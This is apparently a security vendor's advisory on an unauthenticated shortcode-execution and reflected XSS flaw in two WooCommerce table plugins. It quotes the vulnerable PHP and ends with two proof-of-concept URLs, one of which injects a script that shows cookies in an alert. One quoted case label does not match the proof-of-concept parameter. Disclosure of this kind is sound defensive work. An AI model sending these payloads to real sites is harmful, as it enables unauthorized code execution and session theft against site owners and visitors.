Our Proactive Monitoring Caught a Shortcode Execution Vulnerability in Two WordPress Plugins
One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a type of vulnerability that has in the past been combined with a more serious vulnerability and then exploited. That being a shortcode execution vulnerability, which we found in two plugins, Active Products Tables for WooCommerce and TableOn, that look like they might be have been closed on the Plugin Directory for a different security issue. The vulnerability also permits reflected cross-site scripting (XSS) to occur.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
As it is the same basic code in each, we will just go through the issue in one of them, Active Products Tables for WooCommerce.
The automated portion of that monitoring flagged the following line of code in the plugin, as it passes user input in the form of the GET or POST input “shortcodes_set” through the do_shortcode() function:
1501 | $res = do_shortcode($_REQUEST['shortcodes_set']); |
Anyone logged in to WordPress can do the equivalent of that (whether that is good or not is another issue), so this only a vulnerability if someone not logged in can do this. Looking at the code that gets you to that line, we found that is the case.
The plugin registers the function get_smth() to accessible to anyone logged in to WordPress, as well as those not logged in:
81 82 | add_action('wp_ajax_woot_get_smth', array($this, 'get_smth')); add_action('wp_ajax_nopriv_woot_get_smth', array($this, 'get_smth')); |
That function, which is located in the file index.php, runs different code depending on the GET or POST input “what”:
1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 | public function get_smth() { $res = ''; $what = strip_tags($_REQUEST['what']); $post_id = 0; //*** if (isset($_REQUEST['post_id']) AND intval($_REQUEST['post_id']) === -1) { $post_id = intval($_REQUEST['post_id']); } if ($post_id === -1) { //done such because shortcode can has diff arguments and no table_id $shortcode_button_args = $what; $what = 'shortcode_button'; } //*** switch ($what) { |
One of those being the running of the line we originally mentioned:
1500 1501 1502 | case 'woot_get_smthwoot_get_smth': $res = do_shortcode($_REQUEST['shortcodes_set']); break; |
As the second proof of concept below confirms, by sending JavaScript code in the GET or POST input “shortcodes_set”, reflected XSS will occur.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept for Shortcode Execution
The following proof of concept will cause a specified short code to be executed.
Make sure to replace “[path to WordPress]” with the location of WordPress and [shortcode]” with the shortcode to be executed.
http://[path to WordPress]/wp-admin/admin-ajax.php?action=woot_get_smth&what=shortcodes_set&shortcodes_set=[shortcode]
Proof of Concept for Reflected Cross-Scripting (XSS)
The following proof of concept will cause any available cookies to be shown in an alert box. In Safari and other web browsers that provide XSS filtering this proof of concept will not work.
Replace “[path to WordPress]” with the location of WordPress.
http://[path to WordPress]/wp-admin/admin-ajax.php?action=woot_get_smth&what=shortcodes_set&shortcodes_set=<script>alert(document.cookie)</script>